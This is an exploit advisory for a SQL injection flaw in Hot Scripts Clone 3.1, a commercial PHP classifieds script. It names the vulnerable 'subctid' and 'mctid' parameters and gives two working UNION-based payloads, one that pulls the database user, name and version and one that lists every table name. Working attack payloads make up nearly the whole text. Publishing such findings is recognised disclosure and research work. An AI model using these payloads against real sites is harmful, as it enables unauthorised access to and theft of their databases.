Hot Scripts Clone 3.1 SQL Injection

`# # # # #   
# Exploit Title: Hot Scripts Clone 3.1 - SQL Injection  
# Dork: N/A  
# Date: 08.12.2017  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/hot-scripts-clone-script-classified/  
# Version: 3.1  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/categories?subctid=[SQL]  
#   
# -yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-  
#   
# http://server/categories?subctid=-yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-  
#   
# 2)  
# http://localhost/[PATH]/categories?&mctid=[SQL]  
#   
# -Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-  
#   
# http://server/categories?&mctid=-Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-  
#   
# # # # #  
  
`